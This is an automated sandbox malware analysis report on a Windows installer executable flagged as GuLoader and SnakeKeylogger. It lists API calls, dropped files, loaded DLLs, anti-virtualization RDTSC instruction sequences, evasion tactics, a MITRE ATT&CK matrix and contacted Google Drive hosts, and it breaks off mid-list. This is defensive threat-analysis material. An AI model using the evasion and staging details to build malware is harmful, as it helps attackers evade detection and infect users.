Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:52250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52255 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52271 version: TLS 1.2

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_00405331 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405331

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040335A
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		8_2_0040335A

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_00404B6E	0_2_00404B6E
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_0040659D	0_2_0040659D
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_00404B6E	8_2_00404B6E
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_0040659D	8_2_0040659D

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: String function: 00402B3A appears 51 times

Source: fTSt7dc60O.exe, 00000000.00000000.1246875109.000000000044A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebiliousnesses.exeDVarFileInfo$ vs fTSt7dc60O.exe
Source: fTSt7dc60O.exe, 00000008.00000000.1363150047.000000000044A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebiliousnesses.exeDVarFileInfo$ vs fTSt7dc60O.exe

Source: fTSt7dc60O.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal68.troj.evad.winEXE@3/10@2/2

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_00404635 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404635

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File created: C:\Users\user\subacidity.lnk

Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsd9393.tmp

Jump to behavior

Source: fTSt7dc60O.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fTSt7dc60O.exe	Virustotal: Detection: 77%
Source: fTSt7dc60O.exe	ReversingLabs: Detection: 66%

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File read: C:\Users\user\Desktop\fTSt7dc60O.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fTSt7dc60O.exe "C:\Users\user\Desktop\fTSt7dc60O.exe"
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process created: C:\Users\user\Desktop\fTSt7dc60O.exe "C:\Users\user\Desktop\fTSt7dc60O.exe"
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process created: C:\Users\user\Desktop\fTSt7dc60O.exe "C:\Users\user\Desktop\fTSt7dc60O.exe"	Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: subacidity.lnk.0.dr

LNK file: ..\..\Program Files (x86)\Common Files\cutline.sil

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File written: C:\Users\user\AppData\Local\Temp\tmc.ini

Jump to behavior

Source: fTSt7dc60O.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1367001967.00000000055DB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2484621112.000000000219B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_004062B2 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062B2

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_10002DE0 push eax; ret

0_2_10002E0E

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

File created: C:\Users\user\AppData\Local\Temp\nsb9BB3.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	API/Special instruction interceptor: Address: 59A08B6
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	API/Special instruction interceptor: Address: 25608B6

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	RDTSC instruction interceptor: First address: 595C57D second address: 595C57D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FF01474E232h 0x00000006 push edi 0x00000007 mov edi, 000000AEh 0x0000000c cmp edi, 1E8A5BDCh 0x00000012 jg 00007FF014793119h 0x00000018 pop edi 0x00000019 cmp dl, 0000006Eh 0x0000001c inc ebp 0x0000001d inc ebx 0x0000001e test cl, al 0x00000020 rdtsc
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	RDTSC instruction interceptor: First address: 251C57D second address: 251C57D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FF014EF2832h 0x00000006 push edi 0x00000007 mov edi, 000000AEh 0x0000000c cmp edi, 1E8A5BDCh 0x00000012 jg 00007FF014F37719h 0x00000018 pop edi 0x00000019 cmp dl, 0000006Eh 0x0000001c inc ebp 0x0000001d inc ebx 0x0000001e test cl, al 0x00000020 rdtsc

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsb9BB3.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\fTSt7dc60O.exe TID: 1836	Thread sleep count: 43 > 30			Jump to behavior
Source: C:\Users\user\Desktop\fTSt7dc60O.exe TID: 1836	Thread sleep time: -430000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_004057D0 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004057D0
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_0040628B FindFirstFileW,FindClose,	0_2_0040628B
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_00402770 FindFirstFileW,	8_2_00402770
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_004057D0 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	8_2_004057D0
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_0040628B FindFirstFileW,FindClose,	8_2_0040628B

Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	API call chain: ExitProcess graph end node			graph_0-4755
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	API call chain: ExitProcess graph end node			graph_0-4756

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_004062B2 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062B2

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Process created: C:\Users\user\Desktop\fTSt7dc60O.exe "C:\Users\user\Desktop\fTSt7dc60O.exe"

Jump to behavior

Source: C:\Users\user\Desktop\fTSt7dc60O.exe

Code function: 0_2_00405F6A GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F6A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fTSt7dc60O.exe	77%	Virustotal		Browse
fTSt7dc60O.exe	67%	ReversingLabs	Win32.Trojan.SnakeKeylogger

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsb9BB3.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://www.google.comuI(	0%	Avira URL Cloud	safe
https://drive.go	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	172.217.18.14	true	false		high
drive.usercontent.google.com	142.250.186.161	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1478904188.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1491048101.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1479093375.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1570023481.0000000007236000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.00000000071F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.comuI(	fTSt7dc60O.exe, 00000008.00000003.1615859431.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1603353148.0000000007241000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/wA	fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/$	fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767155103.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071C3000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1721714871.000000000721F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	fTSt7dc60O.exe, 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmp, fTSt7dc60O.exe, 00000000.00000000.1246847605.0000000000409000.00000008.00000001.01000000.00000003.sdmp, fTSt7dc60O.exe, 00000008.00000000.1363121639.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false		high
https://drive.usercontent.google.com/$xe	fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.go	fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/ificate	fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/V	fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1491048101.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, 